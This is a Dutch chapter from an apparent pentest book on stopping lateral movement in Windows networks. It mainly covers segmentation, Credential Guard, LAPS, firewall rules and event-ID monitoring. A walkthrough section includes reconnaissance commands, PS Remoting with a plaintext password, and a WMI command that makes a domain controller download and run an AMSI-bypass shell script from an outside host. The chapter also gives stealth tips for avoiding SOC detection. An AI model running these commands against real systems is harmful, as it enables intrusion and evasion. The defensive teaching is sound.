Laterale Beweging Stoppen

Rechten Omlaag, Controle Omhoog

Aanvalspaden worden klein zodra rechten, segmenten en beheerkanalen consequent zijn ingericht.

Voor Laterale Beweging Stoppen is segmentatie de hefboom: expliciete paden, deny-by-default en gecontroleerd beheer.

Zo beperk je niet alleen de kans op incidenten, maar vooral ook de omvang en duur als er iets misgaat.

Directe maatregelen (15 minuten)

• Start met MFA, least privilege en tiering voor beheeraccounts.
• Voer segmentatie en expliciete firewallregels door op kritieke paden.
• Borg logging, detectie en hersteltests als structurele operatie.

Waarom dit telt

De kern van Laterale Beweging Stoppen is risicoreductie in de praktijk. Technische context ondersteunt de maatregelkeuze, maar implementatie en borging staan centraal.

Verdediging – Hoe voorkom je dit?

In het Victoriaanse Londen, ergens rond 1860, ontdekten inbrekers een ingenieus principe. De rijtjeshuizen in wijken als Whitechapel en Bethnal Green deelden niet alleen muren – ze deelden zolders. Een dunne laag pleisterwerk en latwerk scheidde het ene huis van het andere, en een ervaren inbreker hoefde maar een gat te slaan om van het ene pand naar het volgende te kruipen. Ze noemden het attic hopping. Je brak in bij de zwakste schakel in de rij – het huis met het goedkope slot, de bewoner die op vakantie was – en bewoog je vervolgens horizontaal door het hele blok zonder ooit een voordeur aan te raken. De politie stond voor een raadsel: hoe kon een inbreker in zes huizen tegelijk zijn geweest?

Het is alsof die Victoriaanse inbrekers een handleiding schreven voor moderne cyberaanvallers. Want laterale beweging in een computernetwerk is precies hetzelfde principe: je breekt in op de zwakste machine, en vervolgens beweeg je horizontaal door het netwerk via gedeelde vertrouwensrelaties. PsExec via ADMIN$-shares. WMI over poort 135. WinRM op 5985. DCOM via het RPC-endpoint. Het zijn allemaal digitale zolderluiken – verbindingen die er zijn omdat machines elkaar moeten vertrouwen, en die een aanvaller misbruikt om van de ene naar de andere te springen.

Op 27 juni 2017 demonstreerde de wereld hoe verwoestend laterale beweging kan zijn. NotPetya – formeel een ransomware, feitelijk een wapen – begon bij een Oekraiense boekhoudapplicatie genaamd M.E.Doc en verspreidde zich via EternalBlue en credential harvesting door hele bedrijfsnetwerken. Maersk, de grootste containerrederij ter wereld, verloor binnen negenenveertig minuten zijn volledige IT-infrastructuur. Vijfenveertigduizend pc’s. Vierduizend servers. Negenhonderd kantoren in honderddertig landen. Allemaal versleuteld. Niet omdat elke machine individueel werd aangevallen, maar omdat ze allemaal met elkaar verbonden waren en dezelfde credentials deelden. De schade: meer dan tien miljard dollar wereldwijd. De oorzaak: platte netwerken en hergebruikte wachtwoorden.

Laten we even de pet omdraaien en kijken wat verdedigers kunnen doen. Want tot nu toe is het een vrij deprimerend beeld – bijna alles werkt bijna altijd. Elke techniek in het vorige hoofdstuk – WMI, DCOM, WinRM, PsExec, SCM abuse – heeft hetzelfde basisrecept: lokale admin-rechten op het doelsysteem en een netwerk dat machines toestaat om met elkaar te praten. Neem een van die twee weg, en het hele kaartenhuis valt in elkaar.

Het fundamentele probleem met laterale beweging is dat het vertrouwen exploiteert. Machines in een domein vertrouwen elkaar. Dat is het hele punt van een domein. Maar dat vertrouwen is ontworpen voor systeembeheerders en applicaties – niet voor aanvallers die toevallig een set credentials hebben buitgemaakt. De uitdaging voor verdedigers is om dat vertrouwen te beperken zonder het te vernietigen. Segmentatie zonder dat alles kapot gaat. Restrictie zonder dat de helpdesk ontploft.

De verdediging is, op papier, verrassend eenvoudig: segmenteer je netwerk zodat machines niet onnodig met elkaar kunnen praten, beperk lokale admin-rechten zodat een gecompromitteerd account niet overal kan inloggen, implementeer Credential Guard zodat gestolen credentials waardeloos zijn, en monitor het verkeer dat er wel doorheen mag. In de praktijk is het ongeveer net zo eenvoudig als afvallen: iedereen weet hoe het moet, niemand doet het, en de redenen zijn altijd hetzelfde – het is ongemakkelijk, het kost moeite, en “we beginnen maandag.”

Wat volgt zijn de concrete maatregelen. En laten we eerlijk zijn: als de Victoriaanse politie het probleem van attic hopping had opgelost door binnenmuren van steen te maken in plaats van latwerk, waren er een hoop inbraken voorkomen. De digitale equivalent van stenen binnenmuren is netwerksegmentatie. En ja, het is duurder dan latwerk. Maar het alternatief is dat een aanvaller vanuit de receptie-PC naar de domain controller wandelt alsof het een zondag in het park is.

Network segmentation

Dit is het belangrijkste en het meest genegeerde verdedigingsmechanisme. Als werkstations niet met andere werkstations kunnen praten, is laterale beweging dood. Zo simpel is het.

Maar – en hier komt de ongemakkelijke waarheid – segmentatie kost geld, kost tijd, en maakt het leven van systeembeheerders moeilijker. Dus in plaats van te segmenteren, kiezen organisaties voor “monitoring.” Alsof het installeren van een bewakingscamera een alternatief is voor een slot op de deur.

In een goed gesegmenteerd netwerk: - Werkstations kunnen niet met andere werkstations communiceren - Servers zitten in aparte VLANs met strikte firewall-regels - Management-verkeer (WMI, WinRM, RDP) gaat via dedicated management VLANs - De domain controller is alleen bereikbaar vanaf specifieke jump-hosts

Credential Guard

Windows Credential Guard gebruikt virtualization-based security om LSASS te beschermen. Als Credential Guard actief is, kunnen tools als Mimikatz geen plaintext wachtwoorden uit het geheugen halen. Het is een van de meest effectieve verdedigingen tegen credential theft en daarmee tegen laterale beweging.

Het probleem: Credential Guard vereist specifieke hardware (UEFI Secure Boot, TPM 2.0) en breekt sommige legacy-applicaties. Dus wordt het “op de roadmap gezet” en vervolgens vergeten.

Beperking van lokale admin-rechten

Als gebruikers geen lokale admin zijn op hun werkstation, werkt het merendeel van deze technieken niet. WMI, DCOM, SCM, PsExec – ze vereisen allemaal lokale admin-rechten op het doelsysteem.

Gebruik LAPS (Local Administrator Password Solution) om ervoor te zorgen dat elk werkstation een uniek lokaal admin-wachtwoord heeft. Geen hergebruik van wachtwoorden betekent geen laterale beweging via gecompromitteerde lokale accounts.

Monitoring

Als je dan toch gaat monitoren, monitor dan het juiste:

# Windows Event IDs om te monitoren
4648  - Explicit Credential Logon (alle lateral movement)
4624  - Logon Type 3 (Network Logon)
7045  - Service Installation (PsExec/SCM)
4697  - Service Installation (Security log)
5140  - Network Share Access (ADMIN$, C$)
4103  - PowerShell Module Logging
4104  - PowerShell Script Block Logging

Sysmon is essentieel:

Event ID 1  - Process Creation (parent-child relationships)
Event ID 3  - Network Connection
Event ID 11 - File Creation
Event ID 13 - Registry Modification

Protected Users group

De Protected Users security group in Active Directory voorkomt dat credentials worden gecached op systemen waarop een lid inlogt. Voeg alle gevoelige accounts toe – domain admins, service accounts met hoge rechten – en je beperkt de schade als een werkstation wordt gecompromitteerd.

Windows Firewall – De vergeten verdediger

Een verrassend effectieve maar zelden gebruikte verdediging: de Windows Firewall. Niet de firewall aan de rand van het netwerk, maar de lokale Windows Firewall op elk werkstation.

# Blokkeer SMB (445) inbound op werkstations
New-NetFirewallRule -DisplayName "Block SMB Inbound" `
  -Direction Inbound -LocalPort 445 -Protocol TCP -Action Block

# Blokkeer WinRM (5985/5986) inbound op werkstations
New-NetFirewallRule -DisplayName "Block WinRM Inbound" `
  -Direction Inbound -LocalPort 5985,5986 -Protocol TCP -Action Block

# Blokkeer RPC endpoint mapper (135) inbound op werkstations
New-NetFirewallRule -DisplayName "Block RPC Inbound" `
  -Direction Inbound -LocalPort 135 -Protocol TCP -Action Block

Als werkstations deze poorten niet accepteren, werkt geen enkele lateral movement-techniek in dit hoofdstuk. Geen WMI, geen DCOM, geen WinRM, geen PsExec. Het is de simpelste en meest effectieve verdediging die er is. En toch doen de meeste organisaties het niet.

Waarom niet? Omdat “Remote Desktop moet blijven werken” en “ik moet PowerShell Remoting kunnen gebruiken naar die machine” en “SCCM heeft SMB nodig.” En in plaats van uitzonderingen te maken voor specifieke beheersystemen, laten ze alles open voor iedereen. Het is het digitale equivalent van het verwijderen van alle deuren uit je huis omdat je moeder er af en toe langskomt.

Detectie-architectuur in de praktijk

Een complete detectie-setup voor laterale beweging ziet er als volgt uit:

Laag 1: Sysmon op elk endpoint
├── Event ID 1: Process Creation (command line logging)
├── Event ID 3: Network Connection (outbound naar ongewone poorten)
├── Event ID 10: Process Access (LSASS access)
├── Event ID 11: File Creation (bestanden in C:\Windows\tasks, ADMIN$)
└── Event ID 13: Registry Modification

Laag 2: Windows Security Event Log
├── Event ID 4624: Logon (Type 3 = Network, Type 10 = RemoteInteractive)
├── Event ID 4648: Explicit Credential Logon
├── Event ID 4697/7045: Service Installation
├── Event ID 5140: Network Share Access
└── Event ID 4103/4104: PowerShell Logging

Laag 3: Netwerk monitoring
├── Unusual SMB traffic patterns (werkstation → werkstation)
├── RPC traffic naar ongewone bestemmingen
├── WinRM traffic van niet-beheersystemen
└── SSH traffic waar het niet verwacht wordt

De gouden regel: werkstation-naar-werkstation verkeer op poorten 135, 445, 5985, of 5986 is bijna altijd verdacht. Werkstations hoeven niet met elkaar te praten via deze protocollen. Als je dat ziet, is het ofwel een misconfiguratie, ofwel een aanvaller.

Het platte netwerk – De ongemakkelijke waarheid

Laat me even een verhaal vertellen. Ik was ooit bij een organisatie – laten we ze “Bedrijf X” noemen, want dat doen we altijd – die trots waren op hun nieuwe firewall. Tweehonderdduizend euro. Next-generation. AI-powered threat detection. Het hele circus.

Intern was hun netwerk zo plat als een pannenkoek. Elke machine kon met elke andere machine praten. De receptie-PC kon pingen naar de domain controller. De printer stond in hetzelfde VLAN als de salarisserver. De gastenwifi zat op hetzelfde netwerk als de productieomgeving.

Toen ik vroeg waarom, zei de IT-manager: “Segmentatie is complex en we willen geen tickets over connectiviteitsproblemen.”

Laat dat even bezinken. Ze wilden geen tickets over connectiviteitsproblemen. Dus in plaats daarvan hadden ze een netwerk waar een aanvaller vanaf elke willekeurige machine naar elke andere machine kon bewegen. Het is alsof je een huis bouwt zonder binnenmuren omdat “deuren zo lastig zijn.”

Tweehonderdduizend euro aan firewall. Nul euro aan interne segmentatie. En als ik het rapport presenteerde met laterale beweging van de receptie-PC naar de domain controller in vier stappen, keken ze me aan alsof ik het probleem was.

Dat is het ding met beveiliging: mensen kopen de glimmende spullen en vergeten de basis. Ze kopen een race-auto en vergeten er deuren in te zetten.

Praktische walkthrough – Van werkstation naar server

Laten we een realistisch scenario doorlopen. Je hebt een werkstation gecompromitteerd via phishing. De gebruiker is corp\jdejong en je hebt haar wachtwoord.

Stap 1: Verkenning

# Welke machines zijn er in het netwerk?
Get-ADComputer -Filter * | Select-Object Name, DNSHostName

# Waar heeft jdejong admin-rechten?
Find-LocalAdminAccess -Verbose

# Welke sessies zijn er actief?
Invoke-UserHunter -Verbose

Stap 2: Kies je methode

Stel dat jdejong lokale admin is op WS02. WinRM staat open (poort 5985). Dan is PS Remoting de logische keuze:

$cred = New-Object System.Management.Automation.PSCredential(
    'CORP\jdejong',
    (ConvertTo-SecureString 'Welkom123!' -AsPlainText -Force)
)
Enter-PSSession -ComputerName WS02 -Credential $cred

Stap 3: Op het nieuwe systeem

[WS02]: PS> whoami
corp\jdejong

[WS02]: PS> hostname
WS02

[WS02]: PS> # Kijk welke tokens beschikbaar zijn
[WS02]: PS> Get-Process -IncludeUserName | Select-Object UserName -Unique

UserName
--------
CORP\jdejong
CORP\admin.vanderberg
NT AUTHORITY\SYSTEM

Daar is een admin-account. admin.vanderberg heeft een sessie op WS02. Nu gaan we die credentials stelen – maar dat is hoofdstuk 10.

Stap 4: Verder bewegen

Met de gestolen credentials van admin.vanderberg kun je naar de domain controller. Maar je wilt stiller zijn. Geen PsExec. Geen services. WMI:

Invoke-WmiMethod -Class Win32_Process -Name Create `
  -ArgumentList 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://10.0.0.1/payloads/amsi-shell.ps1'')' `
  -ComputerName DC01 `
  -Credential $admin_cred

Alternatief scenario: beheerkanaal-validatie als WinRM niet beschikbaar is

Stel dat WinRM niet beschikbaar is, maar andere beheerprotocollen wel.
Valideer defensief dat alleen geautoriseerde beheerpaden open staan en dat misbruik snel detecteerbaar is:

• controleer protocoltoegang via firewall en ACL’s;
• verifieer dat niet-geautoriseerde remote execution wordt geblokkeerd;
• bevestig dat afwijkende beheeracties direct in SIEM verschijnen.

De credential chain visualiseren

Elke sprong in deze keten is een lateral movement. En elke sprong vereist credentials die op de vorige machine zijn gevonden. Het is een ketting, en de zwakste schakel bepaalt of de hele ketting breekt.

Veelgemaakte fouten bij lateral movement

Om dit hoofdstuk af te sluiten, hier de meest voorkomende fouten die ik pentesters zie maken:

1. Direct PsExec gebruiken: Het werkt, maar het is luid. Probeer eerst WMI of DCOM.
2. Vergeten op te ruimen: Achtergelaten services, bestanden in C:\Windows\tasks, SMB-shares. Forensisch bewijs dat je aanwezigheid verraadt.
3. Geen listener klaar: Je vuurt een DCOM-commando af en realiseert je dat je geen listener hebt draaien. Je command execution is verspild.
4. Tunneling vergeten: Je kunt de target niet direct bereiken vanuit je Kali-machine. Je moet eerst een tunnel opzetten (hoofdstuk 13).
5. Verkeerde credentials: Je gebruikt credentials van machine A op machine B, maar het account heeft daar geen admin-rechten. Nu heb je een failed logon event gegenereerd dat een SOC-analyst kan oppikken.
6. Tijdzones negeren: Als je om 03:00 ’s nachts laterale beweging uitvoert in een organisatie die van 09:00-17:00 werkt, valt dat op. Werk binnen kantooruren als je stealthy wilt zijn.

Referentietabel

Externe tools referentie

Event IDs snelreferentie

Samenvatting

Laterale beweging is waar een pentest echt begint. Het is het moment waarop je van “ik heb een voet tussen de deur” gaat naar “ik bezit het netwerk.” De technieken zijn gevarieerd – van het stille WMI en DCOM tot het luidruchtige PsExec – maar ze hebben allemaal één ding gemeen: ze vereisten lokale admin-rechten en ongesegmenteerde netwerken.

De verdediging is even simpel als onpopulair: segmenteer je netwerk, beperk admin-rechten, gebruik Credential Guard en LAPS, en monitor wat er binnen je netwerk gebeurt. Maar dat vereist geld, tijd, en de bereidheid om “nee” te zeggen tegen gebruikers die klagen over connectiviteitsproblemen.

In het volgende hoofdstuk gaan we kijken naar wat je steelt als je eenmaal op een machine staat. Want laterale beweging zonder credentials is als een auto zonder benzine: je kunt erin zitten, maar je gaat nergens naartoe.

Volgende: Hoofdstuk 10 – Credential Access